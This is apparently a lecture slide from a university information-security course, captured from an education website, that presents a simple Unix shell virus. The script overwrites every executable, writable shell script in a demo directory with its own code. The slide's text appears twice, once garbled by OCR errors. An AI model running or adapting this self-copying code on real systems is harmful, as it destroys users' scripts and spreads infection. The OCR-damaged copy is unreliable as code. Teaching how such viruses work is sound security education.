正在加载图片...
上游文通大¥ SHANGHAI JLAO TONG UNIVERSITY 第二,一个简单的Shell,病毒 © #shellvirus ll# 国 for file in ./infect/* do © if test -f Sfile 判断是否为文件 then if test -x Sfile #判断是否可执行 then @ if test -w $file #判断是否有写权限 国 then © if grep-ssh$file>.mmm#判断是否为脚本文件 国 then 国 cp $0 Sfile #覆盖当前文件 fi © fi fi ⊕ fi 国 done rm .mmm-f 信息安全工程学院信息安全工程学院 第二,一个简单的Shell病毒 #shellvirus II# for file in ./infect/* do if test -f $file #判断是否为文件 then if test -x $file #判断是否可执行 then if test -w $file #判断是否有写权限 then if grep –s sh $file > .mmm #判断是否为脚本文件 then cp $0 $file #覆盖当前文件 fi fi fi fi done rm .mmm -f
<<向上翻页向下翻页>>
©2008-现在 cucdc.com 高等教育资讯网 版权所有